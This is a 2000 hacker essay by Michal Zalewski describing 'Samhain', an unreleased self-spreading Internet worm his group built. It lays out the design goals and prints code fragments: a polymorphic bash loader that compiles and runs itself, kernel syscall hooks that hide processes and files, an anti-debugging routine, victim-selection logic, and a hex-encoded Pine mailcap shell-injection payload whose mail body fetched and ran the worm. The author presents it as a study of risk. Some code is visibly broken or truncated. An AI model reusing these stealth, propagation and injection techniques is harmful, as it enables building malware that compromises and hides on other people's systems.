============================================================================= "I don't think I really love you"============================================================================= or writing internet worms for fun and profit (C) 2000 Michal Zalewski 0x00: Preface-----------------------------------------------------------------------------The media, kindly supported by AV "experts", have drawn an apocalyptical visionof destruction caused by little MS Outlook / VisualBasic worm, called"ILOVEYOU". Rough estimations - $10M lost for "defending the disease",especially when you look at increasing with the speed of light value ofAV companies market shares, made many people curious - is it really the worstdisease ever? Or just another lame VBS application that is not even able tospread without user "click-me" interaction, and is limited to one, desk-endit's original version, kills mp3 files on your disk [1]. This article isa study of research on Internet worms.Over year ago, with couple of friends, we started writing a project, called'Samhain' (days ago, on packetstorm, I noticed cute program with same name -in fact it's not the same app, just a coincidence ;). We wanted to see ifit's difficult to write deadly harmful Internet worm, probably much moredangerous than Morris's worm. First, we agreed theoretical guidelinesfor such application:1: Portability - worm must be architecture-independent, and should work on different operating systems (in fact, we focused on Unix/Unix-alikes, but developed even DOS/Win code).2: Invisibility - worm must implement stealth/masquerading techniques, being able to hide its own code in live system and stay undetected as long as possible.3: Independence - worm must be able to spread autonomically, with no user interaction, using built-in exploit database.4: Learning - worm should be able to learn new exploits and techniques instantly; by launching one instance of updated worm, all other worms, should update their code using special communication channels (wormnet).5: Integrity - single worms and wormnet structure should be really difficult to trace, modify, intrude and kill (encryption, signing).6: Polymorphism - worm should be fully polymorphic, with no constant portion of (specific) code, to avoid detection.7: Usability - worm should be able to complete choosen mission objectives - eg. infect choosen system, then download instructions, and, when mission is completed, simply disappear from all systems.With seven simple principles stated above, we started our practical work,which took approx. 2 months. This text describes our ideas, concepts andimplementation details.It is NOT the terrorist's handbook, and has not been written to help otherpeople to write such code on their own. It is a study of technical possibilitiesinstead.It's written to show that very serious potential risk, whichwe virtually can't avoid or stop, isn't only hypotetical. Code provided hereis partial, often comes from first, instead of most recent, Samhain releases.But we should remember: working model has been written. And this model isdeadly dangerous engine, which can be certainly used to something morethan e-mail based infection of user-end workstations... Probablywe aren't the first people who thought about it and tried to write it, that'swhat make us scared...Winter 1998, three bored people somewhere in the middle of Europe.Sit and relax.0x01: Portability-----------------------------------------------------------------------------This is probably the most important thing - we don't want code that can runonly on Windows, Linux or Solaris, or - worse - can run only on x86. Thetask is quite easy to complete if you decide to spread your code inplatform-independent form. How could it be achieved? Well, most of systemshave C compiler :) So we might spread worm in source code, with simpledecryptor (let's say it will be shell script).But wait, some (not much) systems don't have C compiler. What can we do? Usingwormnet, worm during infection might ask other wormnet members for compiledbinary for given platform. Wormnet details have been described in section 0x04.Anyway, binary will contain appended source code, to make futher infectionspossible within standard procedure. Infection scheme is described in section0x03.First version of our decryptor looked like this:const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of=""$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if=""\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c,""char**v){char a[99999];int i=read(0,a,99999);for(;x$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/.""a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c""~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>""/dev/null;test -x \"$0\"&&exec $X~ \"$0\" $@\n";It used very simple (per-byte increments) "encryption" for source code withcustom increment value (decryptor has been modified accordingly to choosenvalue - \x01, \x02, \x03 and \x04 are changed by encryptor routine). Also,this constant decryptor has been every time re-written using simplepolymorphic engine (see section 0x06) to avoid constant strings. Later, wemodified encryption routine to something little bit stronger (based onlogistic equation number generator in chaotical window) - in fact, itonly makes it more difficult to detect in inactive form.As you can see, this decryptor (or it's early version shown above) isn'thighly-portable - what if we don't have bash, compiler, gzip or suchutilities? Well, that's one of reasons we've decided to join worms inwormnet - if sent code won't connect back to parent and report itself,host is not marked as infected, and wormnet is asked for pre-compiledbinary for given architecture (assuming we already infected this architecturesomewhere in the world, and we had needed utilities, or we're running thesame architecture as infected host).NOTE: For writting extremely ugly code that can run in DOS, [ba]sh, csh,perl etc and can be compiled with C in the same time, please refer IOCCCarchives [2].Sebastian wrote virus code that can spread both on Windows/DOS platform withC compiler and Unix systems with no modifications nor any interaction. Itdoes cross-partition infections and installs itself as compiler trojan(modifying include files to put evil instructions in every compiledsource). It is called Califax and has been developed while writting Samhain,as an excercise to prove that such cross-system jumps are possible. I don'twant to include Sebastian's sources with no permission, all I want to sayis he did it within 415 lines of c code :) Califax hasn't been incorporatedwithin Samhain project, as we don't want to infect Winbloze for ideologicalreasons :P 0x02: Invisibility-----------------------------------------------------------------------------After breaking into remote system, worm not always have root privledges, sofirst of all, we wanted to implement some techniques to hide it, make itlook-like any other process in system, and make it hard to kill untilthere's a chance to gain higher privledges (for details on system intrusion,please refer section 0x03). Also, we made sure it's really hard todebug/trace running or even inactive worm - please refer section 0x05 foranti-debug code details.Our non-privledged process masquerading code consists of following parts:- masquerading: walk through /proc, choose set of common process names and change your name to look just like one of them,- cyclic changes: change your name (and executable name) as well as pid frequently; while doing it, always keep 'mirror' process, in case parent or child get killed by walking skill-alike programs,Our goal is to make almost impossible (with common tools) to 'catch' process,as all /proc parameters (pid, exe name, argv[0]) are changing, and even ifone of them is catched, we have 'mirror' project. Of course, at first weshould avoid such attempts by camouflage. This comment comes from libwormREADME for Unices:-- snip from README --a) Anti-scanning routinesFollowing routines are provided to detect anti-worm stuff, like 'kill2'or anything smarter. You should use them before fork()ing:int bscan(int lifetime); bscan performs 'brief scanning' using only 2 childs. Lifetime should be set to something about 1000 microseconds. Return values: 0 - no anti-worm stuff detected, please use ascan or wscan. 1 - dumb anti-worm stuff detected (like 'kill2'); use kill2fork() 2 - smart (or brute) stuff detected, wait patientlyint ascan(int childs,int lifetime); ascan performs 'advanced scanning' using given number of childs (values between 2 and 5 are suggested). It tests environment using 'fake forkbomb' scenario. Results are more accurate: 0 - no anti-worm stuff detected (you might use wscan()) 1 - anti-worm stuff in operationint wscan(int childs,int lifetime); wscan acts like ascan, but uses 'walking process' scenario. It seems to be buggy, accidentally returning '1' with no reason, but it's also the best detection method. Return values: 0 - no anti-worm stuff detected 1 - anti-worm stuff in operationint kill2fork(); This is aletrnative version of fork(), designed to fool dumb anti-worm software (use it when bscan returns 1). Return value: similar as for fork().b) Masquerading routinesThese routines are designed to masquerade and hide currentprocess:int collect_names(int how_many); collect_names builds process names table with up to 'how_many' records. This table (accessible via 'cmdlines[]' array) contains names of processes in system; Return value: number of collected items.void free_names(); this function frees space allocated by collect_names when you don't need cmdlines[] anymore.int get_real_name(char* buf, int cap); this function gets real name of executable for current process to buf (where cap means 'maximal length').int set_name_and_loop_to_main(char* newname,char* newexec); this function changes 'visible name' of process to newname (you may select something from cmdlines[]), then changes real executable name to 'newexec', and loops to the beginning of main() function. PID will be NOT changed. Set 'newexec' to NULL if you don't want to change real exec name. Return value: non-zero on error. Note: variables, stack and anything else will be reset. Please use other way (pipes, files, filenames, process name) to transfer data from old to new executableint zero_loop(char* a0); this function returns '1' if this main() code is reached for the first time, or '0' if set_name_and_loop_to_main() was used. Pass argv[0] as parameter. It simply checks if real_exec_name is present in argv[0].-- EOF --For more details and source code on architecture-independent non-rootprocess hiding techniques, please refer libworm sources [3] (incompletefor now, but always something).This routines are weak and might be used only for short-term processhiding. We should as fast as possible gain root access (again, thisaspect will be discussed later). Then, we have probably the most complexaspect of whole worm. Advanced process hiding is highly system-dependent,usually done by intercepting system calls. We have developed source foruniversal hiding modules on some systems, but it not working on everyplatform Samhain might attack. Techniques used there are based on well-knownkernel file and process hiding modules.Our Linux 2.0/2.1 (2.2 and 2.3 kernels weren't known at the time ;) ourmodule used technique later described in "abtrom" article on BUGTRAQ by (Sat, 28 Aug 1999 14:40:31) to intercept syscalls [4].Sebastian wrote stealth file techniques (to return original contents ofeventually infected files), while I developed process hiding and worminterface. Module intercepted open, lseek, llseek, mmap, fstat, stat,lstat, kill, ptrace, close, read, unlink, write and execve calls.For example, new llseek call look this way:int new_llseek(unsigned int fd,unsigned int offset_high, unsigned int offset_low,int *result,unsigned int whence) { retval=old_llseek(fd,offset_high,offset_low,result,whence); if (retval<0) return retval; if (!(file=current->files->fd[fd])) return retval; if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode)) if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN; return retval;}In this case, we wanted to skip samhain code loader at the beginningof file. is_happy() function has been used to identify infected files.Unfortunately, it also has to check length of this loader - remember,it's dynamically generated. This is code from is_happy() used to determinethis size from our decryptor routine: // Determine where ELF starts... file->f_pos=0; BEGIN_KMEM r=file->f_op->read(file->f_inode, file, buf,sizeof(buf)); END_KMEM // Groah! We have to write out own atoi... Stupido ;-) znaki=0; while (znaki!=TH && ++v9) { znaki=1;break; } // Format error (!) SAMLEN+=(buf[v+poz++]-'0')*mult; mult=mult/10; }Worm isn't spreading across the filesystem widely, so the problem doesn'taffect many files - only some executables called in boot process - tomake sure we're always resident. Process hiding is quite generic:int new_ptrace(int req,int pid,int addr,int dat) { x=0; buf[20]=0; sprintf(b,"/proc/%d/cmdline",pid); if (active) BEGIN_KMEM x=old_open(b,O_RDONLY,0); END_KMEM if (x>0) { BEGIN_KMEM read(x,b,1); END_KMEM close(x); if (!b[0]) return -ESRCH; } return old_ptrace(req,pid,addr,dat);}Also, we have to hide active network connections for wormnet and sent /received wormnet packets to avoid detection via tcpdump, sniffit etc.That's it, nothing uncommon. Similar code has been written for some otherplatforms. See my AFHaRM or Sebastian's Adore modules for implementationof stealth techniques [5].0x03: Independence + 0x04: Learning-----------------------------------------------------------------------------Wormnet. The magic word. Wormnet is used to distribute upgraded Samhainmodules (eg. new exploit plugins), and to query other worms for compiledbinaries. Communication scheme isn't really difficult, using TCP streamsand broadcast messages within TCP streams. Connections are persistent.We have four types of requests:- infection confirmation: done simply by connecting to parent worm if infection succeded (no connection == failure),- update request: done by re-infecting system (in this case, already installed worm verifies signature on new worm when receiving request, then swaps process image by doing execve() if requesting binary has newer timestamp), then inheriting wormnet connections table and sending short request to connected clients, containing code timestamp. - update confirmation: if timestamp sent on update request is newer than timestamp of currently running worm, it should respond with 'confirmation', then download new code via the same tcp stream; then, it should verify code signature, and eventually swap it's process image with new exec, then send update request to connected worms.- platform request: by sending request to every connected worm (TTL mechanism is in use) describing machine type, system type and system release, as well as IP and port specification; this request is sent (with decreased TTL) to other connected wormnet objects, causing wormnet broadcast; first worm that can provide specific binary, should respond connecting to given IP and port, and worm that sent platform request should accept it (once). Any futher connects() (might happen till TTL expiration) should be refused. After connecting, suitable binary should be sent, then passed to infection routines. Worm should try first with TTL approx 5, then, on failure, might increase it by 5 and retry 3-5 times, we haven't idea about optimal values.Packets are "crypted" (again, nothing really strong, security by obscurity)with key assigned to specific connection (derived from parent IP addresspassed on infection). Type is described by one-byte field, then followed bysize field and RAW data or null-terminated strings, eventually withTTL/timestamp fields (depending on type of message).Wormnet connections structure looks arbitrary and is limited onlyby max per-worm connections limit. Connections are initiated from child toparent worm, usually bypassing firewall and masquerading software.On infection, short 'wormnet history' list is passed to child. If parenthas too many wormnet connections at time, and refuses new connection,child should connect to worm from the history list. 3 | | 3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6 | / | | | / | | | / | | Possible wormnet structure. 1 ------------ 2 ----- 3 6 Numbers represent infection \ / order. Bottom "3" couldn't \ / for some reason connect to \ / it's parent and choosen \ ---- 3 ------ 4 "1" from 'history list'. | | | 4What about exploits? Exploits are modular (plugged into worm body), anddivided in two sections - local and remote. We wanted to be platformindependent, so we focused on filesystem races, bugs like -xkbdir hole inXwindows, and inserted just a few buffer overflows, mainly for remoteintrusion (but we decided to incorporate some bugs like remote pine mailcapexploit and so on... Code was kind of shell-quoting masterpiece ;)Pine mailcap exploit (it has been already fixed after my BUGTRAQ post,but in late 1998 it was something new and nice):fprintf(f,"From: \"%s\" <%s@%s>\n",nam,us,buf2);fprintf(f,"To: \n",hostname);fprintf(f,"Subject: %s\n",top);fprintf(f,"MIME-Version: 1.0\n");fprintf(f,"Content-Type: multipart/mixed;\n");fprintf(f,"\tboundary=\"----=_NextPart_000_0007_01BD5F09.B6797740\"\n\n");fprintf(f,"------=_NextPart_000_0007_01BD5F09.B6797740\n");fprintf(f,"Content-Type: default/text;\n\t");fprintf(f,"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x5c\x5c\x5c\x22\x78\x5c" "\x5c\x5c\x22\x5c\x20\x3d\x3d\x5c\x20\x5c\x5c\x5c\x22\x78\x5c\x5c" "\x5c\x22\x5c\x20\x5c\x29\x5c\x20\x73\x68\x5c\x20\x2d\x63\x5c\x20" "\x65\x63\x68\x6f\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x66\x6f\x72" "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x69\x5c\x24\x5c\x49\x46\x53" "\x5c\x5c\x5c\x69\x6e\x5c\x24\x5c\x49\x46\x53\x5c\x60\x6c\x73\x5c" "\x24\x49\x46\x53\x2f\x74\x6d\x70\x2f\x5c\x60\x5c\x24\x5c\x49\x46" "\x53\x5c\x5c\x5c\x3b\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x64\x6f" "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x73\x68\x5c\x24\x5c\x49\x46" "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x5c\x5c\x5c\x24\x69\x5c\x24" "\x5c\x49\x46\x53\x5c\x5c\x5c\x3b\x64\x6f\x6e\x65\x26\x3e\x2f\x74" "\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x3b\x5c\x73\x68\x5c\x24\x49\x46" "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x22\x0A");// 'encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ sh\ -c\ echo\$\IFS\\\for'// '\$\IFS\\\i\$\IFS\\\in\$\IFS\`ls\$IFS/tmp/\`\$\IFS\\\;\$\IFS\\\do'// '\$\IFS\\\sh\$\IFS\\\/tmp/\\\$i\$\IFS\\\;done&>/tmp/.KEWL;\sh\$IF'// 'S\\\/tmp/.KEWL"'Message body contained code to be executed (shell-script to connect,download and run worm, then kill any evidence). Yes, this exploit sucks- as it required some kind of user interaction (reading e-mail), butis just an example.Both remote and local exploits are sorted by effectiveness. Exploits thatsucced most of the time are tried first. Less effective ones are movedat the end. This list is inherited by child worms.Oh, spreading. Victims are choosen by monitoring active network connections.With random probability, servers are picked from this list and attacked.In case of success, server is added to 'visited' list - these are notattacked anymore. In case of failure, server is not attacked until newversion of worm is uploaded. Of course, internal servers list is finiteand sometimes server might be attacked again (if it's not our child andit isn't currently connected), but who cares, attempt will be ignored orupgrade procedure will happen, depending on timestamps.This code is used to qualify host (obtained from network stats):void infect_host(int addr) { struct hostent* h; int (*exp)(char*); int i=0,n=0,max=VERY_SMALL; if ((0x7F & addr)==0x7F) return; // do not touch 127.* subnet :-) h=gethostbyaddr((void*)&addr,4,AF_INET); if (is_host_happy(h->h_name)) return; // In wormnet? for (i=0;remote[i].present;i++) remote[i].used=0; while ((max=VERY_SMALL)) { n=-1; for (i=0;remote[i].present;i++) if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; } if (n<0) break; exp=remote[n].handler; remote[n].used=1; current_module=n; remote[n].hits+=(i=exp(h->h_name)); if (i>0) break; }}0x05: Integrity-----------------------------------------------------------------------------The most important thing in worm's life is not to get caught. We have to besure it's not easy to trace/debug us - we want to make reverse-engineeringeven harder. We don't want to expose our internal wormnet protocols,communication with kernel module and detection techniques used by worms tocheck for themselves, etc. Four things:- hide everything: see section 0x02.- hash, crypt, scramble: see sections 0x01, 0x04.- don't let them caught you: see section 0x02.- avoid debugging even if we cannot hide!We used several anti-debugger techniques, including application-dependent(bugs in strace on displaying some invalid parameters to syscalls, bugs ingdb while parsing elf headers, ommiting frame pointer, self-modyfing codeand so on), as well as some universal debugger-killer routines calledquite often (they aren't really time-expensive). This is one of them:void kill_debug(void) { int x,n; n=getppid(); if (!(x=fork())) { x=getppid(); if (ptrace(PTRACE_ATTACH,x,0,0)) { fprintf(stderr, "\n\n\n*****************************************\n" "*** I REALLY DO NOT LIKE TO BE TRACED ***\n" "*****************************************\n\n\n"); ptrace(PTRACE_ATTACH,n,0,0); kill(x,9); } usleep(1000); ptrace(PTRACE_DETACH,x,0,0); exit(0); } waitpid(x,&n,0); return;}As I told before, worm modules were signed. First, using simple signatures,then using simple private key signing (not really difficult to crack, askey was relatively short, but for sure too difficult for amateurs). Thismade us sure we're going to replace our worm image with REAL worm, notdummy anti-worm flare.0x06: Polymorphism-----------------------------------------------------------------------------Polymorphic engine was quite simple - designed to make sure our decryptorwill be different every time. As it has been written in shell language, itwas pretty easy to add bogus commands, insert empty shell variables, add\ and break contents, or even replace some parts with $SHELL_VARIABLESdeclared before. Getting original content is not quite easy, but of course,all you have to do is to imitate shell parsing of this decryptor to getoriginal contents, then you'll be able to identify at least some commoncode.Code adding \ to decryptor looks like: while (decryptor[x]) { switch (decryptor[x]) { case ' ': if (!rnd(2)) buf[y++]=' '; else goto difolt; break; case '\n': if (!you_can) you_can=1; default: difolt: if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 && decryptor[x]!='>' && decryptor[x]!='<' && norm>2) { buf[y++]='\\';buf[y++]=10;norm=0; } else {buf[y++]=decryptor[x++];norm++;} } } 0x07: Usability-----------------------------------------------------------------------------It's stupid to launch worm designed eg. to steal secret information fromspecific host, because we have no idea if it will work fine, and won't becaught. If so, it might be debugged (it's made to be hard to debug, but,as every program, it's not impossible to do it, especially if you're ableto separate worm code). Instead, we should be able to release 'harmless'worm, then, when we're sure it accessed interesting host and haven't beencaught, we might send an update, which will try to reach destination worm,replace it with our evil code, then shut down every worm it can access viawormnet (by sending signed update, that will send itself to other worms,then shut down).Maybe it isn't the perfect solution, but in fact it's probably much saferthan inserting even generic backdoor code by default.0x08: What happened then?-----------------------------------------------------------------------------That's it, the Samhain project, fit into approx. 40 kB of code. Whathappened to it? Nothing. It hasn't been ever released, and I never removedrestrictions from lookup_victim() and infect_host() routines. It's stilllying on my hard drive, getting covered with dust and oblivion, and that'sextacly what we wanted.I stopped developing new code and testing it in January, 1999, with Samhain2.2 and approx. 10000 lines of code. Wojtek Bojdol has been developing hismuch more advanced wormnet and system infection/monitoring code till Februaryor March, but I haven't found enough time to incorporate his sources withinmainstream source tree. Then, we removed our repository from networked serverwe used to exchange ideas. I gradually published some bugs used in exploitdatabase to BUGTRAQ, some of them (especially those not discovered by me)we kept for ourselves.The story ends. Till another rainy day, till another three bored hackers.You may be sure it will happen. The only thing you can't be sure is theend of next story.0x09: References-----------------------------------------------------------------------------[1] ILOVEYOU worm: Dramatical headlines: + http://www.cnn.com/2000/TECH/computing/05/04/iloveyou.03/ Technical analysis: + http://www.securityfocus.com/templates/article.html?id=30 Source of "ILOVEYOU" worm: + http://packetstorm.securify.com/viral-db/love-letter-source.txt[2] International Obfuscated C Code Contest archives: + http://www.ioccc.org[3] Libworm - unprivledged process hiding techniques: + http://lcamtuf.na.export.pl/pliki/libworm.tgz[4] "yet another article about stealth modules in linux" + http://www.securityfocus.com/templates/archive.pike?list=1&date=1999-08-22&msg=19990828144031.A20936@richi.bombi.net[5] Advanced File Hide and Redirect Module (in fact, old and lame ;) + http://lcamtuf.na.export.pl/pliki/afharm.zip Adore + ???0x0f: Outro-----------------------------------------------------------------------------First of all, all the best goes to Maja :)Then, I'd especially like to thank people involved in the Samhain project, aswell as other people who helped me these times to understand life, universeand everything:Wojciech Bojdol ...................................................... wojbojSebastian Krahmer ................................................... stealthKrzysztof G. Baranowski ................................................. kgbRafal Wojtczuk ....................................................... nergalSlawomir Krawczyk .................................................... nises2Mariusz Woloszyn ...................................................... kil3rMariusz Marcinkiewicz .................................................. manYAlso, I'd like to thank all the teso, HERT, lam3rz, A18 and b0f people. Thankyou, agnes, for good will and patience. Last, but not least, best wishes toSolar Designer (thanks for interesting ideas and constructive critics).Any mistakes in this text are solely my fault. I'm really sorry for mynot-good-as-I-wish english, you have to deal with it, or correct me :)I'd appreciate it.This text has been written in 6 hours at late Sunday night.Please send flames, ideas and 'h0w t0 kr4ck p4ssw0rdz' to or . This document is available at:http://lcamtuf.na.export.pl/worm.txt--October, 31 - Samhain (pronounced sow-inn) - this is time of endings andtime of beginnings - so at Samhain, we celebrate the New Year. This is aquieter time, a time when the veil between worlds is thin and the spiritsmay pass more easily. At Mabon, the God Lugh died in order for us to livethrough His abundance. During the intervening time, He has gathered thespirits of those that have died over the year and waits for this night sothat they may pass through the gate to the other side. This is the time torevere our ancestors and to say farewell to those that have passed this lastyear. It is also a time of divination. The abundance of the fields now givesway to the power and strength of the Horned God of the Hunt. This begins atime of darkness. From now until Yule, the days grow darker and colder.Winter storms begin to sweep down from the north.